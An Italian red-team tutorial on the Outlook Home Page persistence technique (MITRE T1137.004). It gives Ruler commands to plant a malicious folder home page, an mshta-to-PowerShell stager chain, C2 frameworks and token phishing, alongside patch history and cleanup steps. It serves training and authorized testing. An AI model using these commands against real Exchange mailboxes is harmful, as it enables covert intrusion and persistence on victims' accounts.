Persistenza via Outlook: Outlook Home Page (T1137.004)

La tecnica T1137.004 – Outlook Home Page sfrutta una funzionalità legacy di Microsoft Outlook che consente di associare a una cartella (Inbox, Calendar o cartelle personalizzate) una pagina HTML visualizzata all'apertura. L'attaccante configura questa proprietà per puntare a un contenuto HTML malevolo, ospitato in remoto o incorporato nel profilo, che viene caricato e interpretato dal motore di rendering di Outlook ogni volta che l'utente apre la cartella o riavvia il client.

La tecnica si colloca nella tattica TA0003 (Persistence) e rappresenta uno dei meccanismi più subdoli di persistenza lato client, perché non richiede modifiche al registro tipiche di Run/RunOnce e non lascia file eseguibili sul filesystem. Il codice ospitato nella pagina HTML può invocare ActiveX, WScript o mshta, generando processi figli di outlook.exe con privilegi utente.

L'impatto operativo è significativo: l'attore OilRig (G0049) ha abusato di questa funzionalità e ha impiegato CVE-2017-11774 per neutralizzare la patch iniziale di Microsoft. Il tool Ruler (S0358) automatizza l'intera catena, rendendo la tecnica accessibile anche ad attori con capacità intermedie. Le patch KB3191938, KB4011091 e KB4011162 hanno progressivamente ridotto la superficie d'attacco, ma sistemi non aggiornati o profili Outlook migrati restano vulnerabili.

In un contesto red team autorizzato, la simulazione di T1137.004 parte quasi sempre da Ruler (open source, repository SensePost su GitHub), il tool di riferimento per interagire con Exchange via MAPI/HTTP e RPC/HTTP. Il flusso operativo presuppone il possesso di credenziali valide o di un token OAuth per la mailbox target, tipicamente ottenuti tramite password spraying o phishing nella fase precedente.

Il comando base per verificare la connettività al servizio Autodiscover è ruler --email vittima@target.tld --username vittima --password 'Passw0rd!' --verbose display, che elenca le regole esistenti sulla mailbox. Per impiantare la Home Page malevola, Ruler espone il sottocomando dedicato: ruler --email vittima@target.tld --username vittima --password 'Passw0rd!' homepage add --url http://payload.lab.internal/o.html --name Calendar. L'URL punta a una pagina HTML ospitata su infrastruttura del red team che, all'apertura della cartella Calendar in Outlook, viene interpretata dal componente di rendering.

La pagina HTML tipica contiene uno snippet VBScript o JScript che invoca WScript.Shell per lanciare un comando arbitrario, oppure carica un oggetto ActiveX per eseguire shellcode. Un payload minimale può richiamare mshta.exe con un URL secondario che serve uno stager PowerShell, riducendo la logica in-line della Home Page a poche righe e delegando la parte pesante a un secondo stadio.

Per la fase di command and control, i framework più usati in lab sono Covenant (open source), Sliver (open source) e Cobalt Strike (a pagamento, licenza commerciale). Lo stager richiamato da mshta genera un beacon che si aggancia al listener HTTPS del team server.

Alternative a Ruler includono l'uso diretto di Outlook Web Access con manipolazione MAPI via Impacket (open source) per scenari in cui Ruler viene bloccato da signature. In ambienti moderni con Modern Authentication, occorre valutare l'uso di token OAuth acquisiti tramite device code phishing (framework TokenTactics, open source).

Regole d'ingaggio consigliate: eseguire sempre in mailbox di test appositamente create, documentare ogni GUID di regola creata, e pianificare la rimozione con ruler homepage delete --name Calendar al termine dell'esercizio. Il red team deve inoltre verificare la presenza delle patch KB citate: su sistemi patchati la tecnica fallisce silenziosamente e non produrrà callback, evitando falsi negativi nel report finale.

Vuoi diventare un Ethical Hacker ma non sai da dove iniziare?

Accedi alle lezioni gratuite e segui il percorso corretto fin dal primo passo

TEST GRATUITO
2 minuti · 7 domande Che professionista cyber sei? Scopri il profilo più vicino al tuo modo di pensare e inizia dal percorso giusto.
We use cookies

Utilizziamo i cookie sul nostro sito Web. Alcuni di essi sono essenziali per il funzionamento del sito, mentre altri ci aiutano a migliorare questo sito e l'esperienza dell'utente (cookie di tracciamento). Puoi decidere tu stesso se consentire o meno i cookie. Ti preghiamo di notare che se li rifiuti, potresti non essere in grado di utilizzare tutte le funzionalità del sito.